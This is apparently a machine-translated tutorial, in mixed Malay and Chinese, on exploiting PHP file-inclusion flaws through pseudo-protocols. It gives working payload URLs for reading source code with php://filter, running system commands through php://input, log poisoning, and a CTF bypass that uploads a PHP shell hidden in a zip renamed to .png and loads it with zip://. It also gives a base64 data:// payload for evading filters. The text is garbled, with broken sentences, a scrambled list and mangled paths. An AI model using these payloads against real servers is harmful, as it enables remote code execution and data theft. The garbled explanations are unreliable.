Rumah >pembangunan bahagian belakang >masalah PHP >Mari analisa kemasukan fail dan penggunaan pseudo-protocol PHP
Artikel ini membawakan anda isu berkaitan tentang PHP, yang terutamanya memperkenalkan kandungan yang berkaitan tentang kemasukan fail dan kerentanan pseudo-protokol PHP ialah sejenis "suntikan kod". bersama-sama, saya harap ia akan membantu semua orang.
Kajian yang disyorkan: "Tutorial Video PHP"
Kerentanan kemasukan fail ialah Sejenis "suntikan kod". Prinsipnya adalah untuk menyuntik skrip atau kod yang pengguna boleh mengawal dan membiarkan pelayan melaksanakannya. Wakil tipikal "suntikan kod" ialah pemasukan fail.
Untuk berjaya mengeksploitasi kerentanan kemasukan fail untuk serangan, dua syarat berikut perlu dipenuhi:
Aplikasi web menggunakan include() dan fungsi pemasukan fail lain melalui dinamik perkenalkan fail yang perlu disertakan;
Pengguna boleh mengawal pembolehubah dinamik.
Fungsi biasa yang menyebabkan pemasukan fail:
PHP: include(), include_once(), require(), require_once(), dll.; mengandungi Anda boleh terus melaksanakan kod fail yang disertakan, dan format fail yang disertakan tidak tertakluk kepada sebarang sekatan
Empat fungsi pemasukan fail disediakan dalam PHP:
(1) Memerlukan: Ralat maut akan berlaku apabila fail yang disertakan tidak dapat ditemui. (E_COMPILE_ERROR) dan hentikan skrip; 3) Require_once: Sama seperti include, ia akan menjana Amaran, bezanya jika kod fail telah dimasukkan, ia tidak akan disertakan lagi; -protokol sebenarnya adalah protokol dan protokol enkapsulasi yang disokongnya. Protokol yang disokongnya ialah:
allow_url_fopen = Hidup (benarkan membuka fail URL, didayakan secara lalai)
allow_url_fopen = Mati (lumpuhkan membuka fail URL)file:// — 访问本地文件系统 php:// — 访问各个输入/输出流(I/O streams)data:// — 数据(RFC 2397)zip:// — 压缩流allow_url_include = Mati (lumpuhkan rujukan fail URL, versi baharu menambah ciri, dilumpuhkan secara lalai)
allow_url_include = Hidup (benarkan rujukan kepada fail URL, versi baharu menambah fungsi)
protokol fail
fail:// Sistem fail ialah protokol pengkapsulan lalai digunakan oleh PHP. Menunjukkan sistem fail tempatan.
Protokol PHP
http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\WWW\www\phpinfo.php
php:// mengakses pelbagai aliran input/output (strim I/O php://filter dan php://input sering digunakan dalam CTF: //filter digunakan untuk membaca kod sumber:
php://input digunakan untuk melaksanakan kod php.
php://input
http://localhost/www/lfi.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.phpallow_url_include = On
php://input [POST DATA] laksanakan kod php
memerlukan ***allow_url_include = On***
allow_url_include = Mati
http://localhost/www/lfi.php?file=php://input POST <?system ('ipconfig')?>
Walau bagaimanapun, dalam kebanyakan kes, allow_url_include dimatikan secara lalai dan tidak boleh mengandungi data POST dalam kes ini, log apache atau log ralat boleh disertakan
Akses URL dan laporkan ralat Tulis kod ke dalam log
Nota: Anda perlu menggunakan burp packet capture di sini untuk mengakses, jika tidak, kod akan dikodkan URL dan ditulis ke dalam log dan tidak boleh dilaksanakan
http://localhost/www/lfi.php?file=<?php phpinfo();?>F:phpstudyphpstudy_proExtensionsApache2.4.39 logsaccess.log.1631750400
Gunakan fail:// Gunakan pseudo-protocol untuk membaca log dan mendapati phpinfo telah berjaya dilaksanakan
zip://protocol
http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400
** zip:// & bzip2:// & zlib:// ** semuanya strim termampat dan boleh mengakses subfail dalam fail termampat. Lebih penting lagi, tidak perlu menentukan nama akhiran dan boleh diubah suai kepada mana-mana akhiran: jpg png gif xxx dll.
Berikut ialah analisis kes CTF yang menggabungkan muat naik fail dan kemasukan fail分析源代码发现,文件上传采用了白名单限制策略,只能上传
“gif", “jpeg”, “jpg”, "png"四种后缀名的文件。
分析文件包含的源代码
Tips: the parameter is file! :) <!-- upload.php --><?php @$file = $_GET["file"]; echo $file; if(isset($file)) { if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70) { echo "<p> error! </p>"; } else { include($file.'.php'); } }?>
分析文件包含源代码,发现限制了部分伪协议和%00截断,且在include中自动添加了php后缀名,但是没有限制zip伪协议。
综上分析可以发现,在文件包含中利用zip伪协议,可以创建test.zip的压缩包,里面放着test.php的文件。
在文件上传时候将后缀名zip修改为png的后缀名,
test.php中写入木马
<?phpphpinfo ();?>
如下图所示
图片上传成功之后,利用文件包含和zip://协议去读取test.png中的test.php,发现phpinfo()被执行了,说明poc验证成功
http://172.22.32.25:42715/include.php?file=zip://upload/test.png%23test
条件:
allow_url_fopen:on allow_url_include :on
访问网址
http://localhost/www/lfi.php?file=data://text/plain,<?php phpinfo();?>
也可以使用base64编码,防止代码被过滤掉
file=data://text/plain,base64;PD9waHAgcGhwaW5mbygpPz4=
推荐学习:《PHP视频教程》
Atas ialah kandungan terperinci Mari analisa kemasukan fail dan penggunaan pseudo-protocol PHP. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!